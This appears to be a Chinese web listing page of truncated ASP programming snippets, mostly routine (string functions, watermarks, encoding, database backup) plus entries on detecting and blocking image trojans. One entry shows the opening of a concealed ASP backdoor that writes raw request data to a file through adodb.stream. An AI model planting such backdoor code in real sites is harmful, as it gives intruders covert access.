作家
登录
  • asp获取远程网页的指定内容的实现代码

    代码如下: 复制代码 代码如下: <% '用ASP获取远程目标网页指定内容,代码由广州网站建设http://www.jb51.net提供 On Error Resume Next Server.ScriptTimeOut=9999999 Function getHTTPPage(Pa...

    作者:asdasdasd03-30
  • Asp中通过简单的例子理解下ByVal和ByRef的用法

    文件名称:

    ByVal.asp

    ByRef.asp


    具体代码:

    <%Sub TestMain()Dim A : A=5Call TestBy(A)Response.write AEnd SubSub TestBy(ByVal T)T=T+1End subcall TestMain()%>

    <%Sub TestMain()Dim A...

    作者:asdasdasd03-30
  • asp图片加水印的功能代码

    复制代码 代码如下: '文字水印 Function WordWatermark(ImagePath) Dim Image Set Image= Server.CreateObject("Persits.Jpeg") ' 建立对象 Image.Open server.mappath(ImagePath) ' 图片所在位...

    作者:asdasdasd03-30
  • ASP 支持中文的len(),left(),right()的函数代码

    比如一个汉字也只会算一个字节,在排版时如果全是汉字,好说,反正没什么差别,但是如果被操作的字符串有汉字又有英文字母时,就不方便了,以下三个函数可以代替ASP自带的相关函数。   也有注...

    作者:asdasdasd03-30
  • asp下以Json获取中国天气网天气的代码

    百度了一下,找了点别人的方法改进了一下。 获取天气网址:http://www.weather.com.cn/html/weather/101210701.shtml这里是温州的,当然其他城市自己搜索一下,换一下ID。 由于是写入cookies记录...

    作者:asdasdasd03-30
  • 做了CDN加速的ASP网站获取用户真实IP程序

    复制代码 代码如下: function checkip(checkstring)'用正则判断IP是否合法 dim re1 set re1=new RegExp re1.pattern="^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$" re1.global=false re1.Ig...

    作者:asdasdasd03-30
  • ASP下检测图片木马的函数代码

    木马原理:入侵者使用诸如ASP图片木马生成器之类的工具将一张正常的图片与一个ASP木马文件合并成一个图片文件(即将对网站有害的 ASP代码插在图片编码之后,虽然图片仍然可以正常显示,但是文件...

    作者:asdasdasd03-30
  • asp中常用的字符串安全处理函数集合(过滤特殊字符等)

    复制代码 代码如下:'===================================== '转换内容,防止意外 '===================================== Function Content_Encode(ByVal t0) IF IsNull(t0) Or Len(t0)=0 The...

    作者:asdasdasd03-30
  • ASP trim,ltrim,rtrim 去前后空格 函数

    这个主要应用于,获取用户输入的时候,防止用户不小心,多输入了一个空格,导致验证无法通过,多用于用户名跟密码的,好多情况下,大家复制的winrar的解压密码,都会默认多输入一个空格,所以这...

    作者:asdasdasd03-30
  • Active Server Pages 错误 ''ASP 0201'' 修复方法

    问题:
    1. 访问 ASP 页面时,出现以下错误:
      Active Server Pages 错误 'ASP 0201'  错误无效的默认脚本语言  该应用程序地应的默认脚本语言无效2. 查看 HKEY_LOCAL_MACHINESOFTWARECla...

    作者:asdasdasd03-30
  • asp中格式化HTML函数代码 SDCMS加强版

    复制代码 代码如下:'============================== '格式化HTML,SDCMS加强版 '============================== Function Nohtml(ByVal t0) IF Len(t0)=0 Or IsNull(t0) Then Nohtml="" Exit ...

    作者:asdasdasd03-30
  • asp 页面允许CACHE的方法

    在ASP输出页面只是调出数据库里内容展现给用户看没有使用SESSION等动态属性,是可以CACHE的,以加快访问速度,具体操作方法如下: 在asp程序页面顶上端加上: <% @Language="VBScript" %> <% Re...

    作者:asdasdasd03-30
  • ASP+ajax注册即时提示程序代码

    1、注册时验证数据库用户名是否存在。 2、输入密码时提示密码强度和验证2次密码输入是否一样。 3、注册时验证数据库联系邮箱是否存在。 4、注册时验证用户输入的验证码和系统产生的验证码是否一...

    作者:asdasdasd03-30
  • asp 数组 重复删除函数(脚本之家增强版)

    因为要写个东西用到,所以百度了一下,居然有朋友乱写,而且比较多,都没有认真测试过,只对字符可以,但是对数字就不可以,而且通用性很差,需要修改才可以真正使用。没办法就自己写了,经过测...

    作者:asdasdasd03-30
  • asp 在线备份与恢复sqlserver数据库的代码

    asp在线备份sql server数据库: 1、备份sqlserver 复制代码 代码如下: <% SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&""&"backuptext.dat"&"'" set cnn=Server.creat...

    作者:asdasdasd03-30
  • asp中判断服务器是否安装了某种组件的函数

    判断服务器是否安装了某种asp组件,比较常用的代码如下:复制代码 代码如下: <% '功能:检查是否存在系统组件或组件是否安装成功 '参数:组件名 Function IsObjInstalled(strClassString) On Error...

    作者:asdasdasd03-30
  • ASP防止图片木马上传的代码

    ASP木马防御: 复制代码 代码如下: const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89...

    作者:asdasdasd03-30
  • asp中文件与文件夹常用处理函数(文件后缀、创建文件等)

    复制代码 代码如下:'===================================== '获得文件后缀 '===================================== Function Get_Filetxt(ByVal t0) Dim t1 IF Len(t0)<2 Or Instr(t0,".")=0 ...

    作者:asdasdasd03-30
  • 服务器XMLHTTP(Server XMLHTTP in ASP)基础知识

    相对于 Ajax,服务端 XMLHTTP 就是在服务端使用 XMLHttpRequest 对象了。虽然说,在服务端使用异步请求是比较不方便的,但是做为可以服务端发送 HTTP 请求的组件,学习一下也是没有坏处的。 这里...

    作者:asdasdasd03-30
  • ASP codepage 页面编码使用说明

    指定的代码页特性无效。 codepage属性:是指出网页的代码页 如果制作的网页脚本与WEB服务端的默认代码页不同,则必须指明代码页: 复制代码 代码如下: codepage=936 简体中文GBK codepage=950 繁...

    作者:asdasdasd03-30
  • asp空间判断jmail组件是否安装或支持的代码

    首先,必须有错误继续进行的声明On Error Resume Next 然后尝试简历jmail实例: Dim JMail Set JMail=Server.CreateObject("JMail.Message") 对实例做出判断,如果组件没有安装成功,则没有创建...

    作者:asdasdasd03-30
  • asp添加数据实现代码

    举例: 如:在字段名处输入:username,password,email,telphone 注意:不同的字段名用英文逗号隔开,且不支持星号 表名处输入要查询的表名:如:table1 前台表单页面: 主要是注意input字段的name...

    作者:asdasdasd03-30
  • asp中获取当前页面的地址与参数的函数代码

    复制代码 代码如下:Function getCurrentUrl() On Error Resume Next Dim strTemp If LCase(Request.ServerVariables("HTTPS")) = "off" Then strTemp = "http://" Else strTemp = "https://" En...

    作者:asdasdasd03-30
  • 隐蔽的ASP后门 大家可以查看下

    复制代码 代码如下: <%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a)...

    作者:asdasdasd03-30
  • 网站开发防止中文乱码需要了解的codepage的重要性小结

    相关的题外话:
    一、操作系统window系统内部都是unicode的。文件夹名,文件名等都是unicode的,任何语言系统下都能正常显示。
    二、输入法:微软拼音输出的是Unicode的,智能ABC输出是简体中文的...

    作者:asdasdasd03-30